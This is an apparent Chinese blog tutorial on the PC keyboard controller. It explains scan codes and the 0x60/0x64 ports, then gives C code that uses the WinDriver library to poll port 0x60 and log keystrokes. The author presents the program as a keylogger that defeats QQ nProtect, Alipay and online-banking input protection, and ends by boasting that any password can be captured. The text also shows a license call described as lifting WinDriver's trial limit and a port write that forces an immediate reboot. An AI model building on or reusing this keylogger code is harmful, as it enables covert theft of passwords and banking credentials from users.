直接访问键盘控制芯片获取键盘记录
如果我们知道了硬件的输入输出地址，就可以直接对它们进行访问了。键盘上有一个称为键盘编码器的处理器（Intel 8048或兼容芯片）专门用来扫描收集所有按键按下和松开的状态数据（即扫描码）。当一个键被按下时，键盘发送的扫描码称为接通扫描码（Make code），或简称为接通码；当一个被按下的键放开时发送的扫描码被称为断开扫描码（Break code），或简称为断开码。
主机键盘控制器专门用来对接收到的键盘扫描码进行解码。因为每个按键的接通和断开码都是不同的，所以键盘控制器根据扫描码就可以确定用户在操作哪个键了。 整个键盘上所有按键的接通和断开码就组成了键盘的一个扫描码集（Scan Code Set）。根据电脑的发展，目前已有三套扫描码集可供使用，它们分别是第一套扫描码集，原始XT键盘扫描码集，目前的键盘已经很少发送这类扫描码；第二套 扫描码集，现代键盘预设使用的扫描码集，通常称为AT键盘扫描码集；第三套扫描码集，PS/2键盘扫描码集，原IBM推出PS/2微处理机时使用的扫描码 集，已很少使用。
AT键盘预设发送的是第二套扫描码集。虽然如此，主机键盘控制器为了与PC/XT机的软体兼容起见，仍然会把所有接收到的第二套键盘扫描码转换成第一套扫 描码，因此，我们从键盘控制器获取的通常为第一套扫描码集。
当一个键被按下时，我们可以从键盘控制器接收到一个XT键盘接通码。这个扫描码仅表示键盘上某个位置处的键被按下，但还没有对应到某个字符代码上，接通码 通常都是一个位组宽度。例如，按下键“A”的接通码是30(0x1E)。当一个按下的键被松开时，从键盘控制器端口收到的就是一个断开码。对于XT键盘 （即键盘控制器程序设计端口收到的扫描码），断开码是其接通码加上0x80。例如，上述“A” 键的断开码就是“0x80 + 0x1E = 0x9E”。
表1列出了Scan Code Set 1中的所有扫描码，我们写程序时需要用到！
表1
剩下的问题就是我们如何获取键盘的扫描码，并且将它们翻译出来了。比如我们如何获取扫描码1E，并且能将它翻译为A键被按下。键盘控制芯片给我们使用的 PC机提供了两个可访问的I/O端口，一个是0x60，一个是0x64，我们能够读取键盘缓冲区中的数据，也能发送控制命令。打开设备管理器，如图1所 示，我们可以清晰地看到它们。0x60为数据端口，0x64 为命令端口。
图1
通常情况下，我们从0x60读取的数据就是键盘的扫描码，而从0x64读取的数据为键盘的状态字。状态字的各位含义如下：
Bit7: 从键盘获得的数据奇偶校验错误；
Bit6: 接收超时，置1；
Bit5: 发送超时，置1；
Bit4: 为1，键盘没有被禁止。为0，键盘被禁止；
Bit3: 为1，输入缓冲器中的内容为命令，为0，输入缓冲器中的内容为数据；
Bit2: 系统标志，加电启动置0，自检通过后置1；
Bit1: 输入缓冲器满置1，i8042 取走后置0；
Bit0: 输出缓冲器满置1，CPU读取后置0。
接下来我们再说一下端口的操作方法。Windows NT系统是不允许直接操作端口的，只有通过驱动程序才能实现，可供选择的驱动程序有免费开源的winio、windriver等。由于我的毕业设计涉及到 视频采集卡驱动程序的设计，所以就以windirver为例来说明端口操作方法了。安装好windriver之后，在“\samples \basic_io\”目录下有一个basic_io.c，我们可以直接使用它提供的端口操作函数读写端口。注意修改IO_init()函数添加如下语 句： (责任编辑：admin)
WD_LICENSE lic;
strcpy(lic.cLicense,你的licenseString);
WD_License(hWD, &lic);
这样，我们使用的windrier驱动就去掉了30天试用期限的限制了。它可以提供的函数如下，有了这些函数，我们就可以直接读写端口了。
BYTE IO_inp(DWORD dwIOAddr)
//从dwIOAddr读取一个字节
WORD IO_inpw(DWORD dwIOAddr)
//从dwIOAddr读取两个字节
DWORD IO_inpd(DWORD dwIOAddr)
//从dwIOAddr读取四个字节
void IO_outp(DWORD dwIOAddr, BYTE bData)
//将一个字节的bData写入dwIOAddr
void IO_outpw(DWORD dwIOAddr, WORD wData)
//将两个字节的bData写入dwIOAddr
void IO_outpd(DWORD dwIOAddr, DWORD dwData)
//将四个字节的bData写入dwIOAddr
为了方便大家测试，我给大家提供一个有趣的例子。通过读写I/O端口控制键盘上的Num Lock、Caps Lock、Scroll Lock这三个LED指示灯，向0x60端口发送控制命令就可以控制它们的亮灭了。控制LED的命令是0xED，我们可以在LED没亮之前（实验之前请先 使LED指示灯关掉）发送0xED命令到0x60端口，然后立即发送另一个BYTE指示设置哪个LED，第2个BYTE用最低的3个字节设置这三个指示 灯。问题是这种直接的方法没有考虑键盘控制器是否准备好接收命令。通常情况下，我们必须等待芯片准备接收命令时再发送命令控制字。如果芯片没有准备好，将 不会产生任何效果。另外，即使我们读取0x64端口的状态字，确定键盘处于准备接收命令状态，但是我们也不能保证随后发送控制命令的操作不会受到键盘本身 驱动程序读写端口引起的干扰。因此，我们可以采用如下的测试程序。
void light()
{
BYTE status;
while(1)
{
status=IO_inp( 0x00000064);
printf("%x",status);
IO_outp( 0x00000060,0xed);
IO_outp( 0x00000060,0x07);
Sleep(100);
}
}
这样，键盘正确接收到我们控制命令的概率就比较大了。程序运行几十秒，就会发现键盘上的三个指示灯突然全部亮了起来。
罗嗦了这么多，大家对端口的操作应该有了基本了解了，下面我们开始分析计算机是如何处理我们的按键操作的。当我们按下或者释放某一按键时，键盘控制器将会 在IRQ1号线上送出中断信号，8259A中断控制器将此中断信号与其它外部设备通过其余的IRQ线送来的中断信号进行判优、排队，最后将此信息送给 CPU。CPU在一条指令运行结束后，会查询一下是否有中断信号送来，如果此时发现有中断信号送来，就会通过此中断信号的中断向量在中断描述符表中查询应 当使用哪一个中断处理程序。当找到中断处理程序后，CPU将调用此中断处理程序进行中断处理。注意在键盘中断处理程序之前，键盘扫描码已经被放到输出缓冲 区中（0x60），中断处理程序所要作的就是从输入缓冲区拿走数据并且翻译数据。所以我们可以直接读取输出缓冲区，即0x60端口直接获取键盘数据的扫描 码，并且不会干扰中断处理程序的正常工作。注意，我们在轮询扫描码时最好不要读取0x64端口，尽管从该端口可以读取键盘输入输出缓冲区的状态信息（满或 空），但是从0x64读取状态字会引起0x60端口上数据的清除，可能会导致键盘驱动无法读取输入数据。
尽管键盘控制器提供了很多操作命令，但我们最好不要往0x60或0x64端口直接写入数据，否则可能产生意想不到的结果，比如IO_outp( 0x00000064,0xfe)操作将会引起操作系统的立即重启（警告，实验前请先做好保存工作，造成文件未保存数据丢失可别说我没提醒哦！），效果如 同手动按了机箱上的Reset键，这是由于键盘控制器可以直接控制CPU Reset管脚电平。
有了以上知识，我们就可以着手写一个直接读取键盘控制寄存器的键盘记录程序了。因为我们要将扫描码翻译出来，所以我使用make code作为数组下标索引打印键的名称。
char keycode[55][5]={"","ESC","1","2","3","4","5","6","7","8","9","0","-","=","BSP","TAB","Q","W","E","R","T","Y","U","I","O","P","[","]","ENT","LCT","A","S","D","F","G","H","J","K","L",";","'","`","LSH","\\","Z","X","C","V","B","N","M",",",".","/","RSH","*","LAL","SPA","CAP","F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","NUM","SCO","7","8","9","-","4","5","6","+","1","2","3","0","."};
这里我只定义了前53个扫描码的键名称，对于一般的只记录字母、符号的键盘记录，这些信息已经足够了。以下为从0x60轮询扫描码的程序代码。
void Log()
{
BYTE retData;
BYTE keyDown;//键按下数据
BYTE keyUp;//键弹起数据
BYTE bCanLog1=1;
BYTE bCanLog2=1;
while(1)
{
retData=IO_inp( (DWORD)0x00000060);
if(retData==0x00||retData==0xff||retData==0xaa||retData==0xee||retData==0xf0||retData==0xfa||retData==0xfe||retData==0xfc)
{
Sleep(50);
continue;
//非扫描码数据的过滤，可以根据情况添加自己不需要的按键信息 (责任编辑：admin)
}
//键按下产生make code，键放开产生break code，make code最高位为0。keycode使用make code作为索引打印按键
if(!(retData&0x80)) //有键被按下
{
keyDown=retData;
}//有键放开！retData第7位为1！我们使用make code记录键值，make code第7位为0！
if(retData&0x80)
{
keyUp=retData&0x7f;
if(keyUp==keyDown)
{
printf("%s ",keycode[keyDown]);
keyUp=0;
keyDown=1;
}
}
Sleep(50);
}
}
因为程序是从最底层获取键盘扫描码数据的，所以对于使用PS/2键盘的用户，可以截取到他们在任何安全保护情况下的输入信息，包括QQ nProtect技术的安全控件、支付宝安全控件、网上银行安全控件等。鉴于巨大危害性，我这里只提供了演示程序，效果如图2和图3所示。
图2
图3
至于其他更详细的应用，大家可以在我提供的程序的基础上进行扩充。只要我们能够直接访问键盘控制芯片，那么任它再有效的输入保护措施，对我们来说都是如同 虚设，想要什么密码就可以获得什么密码。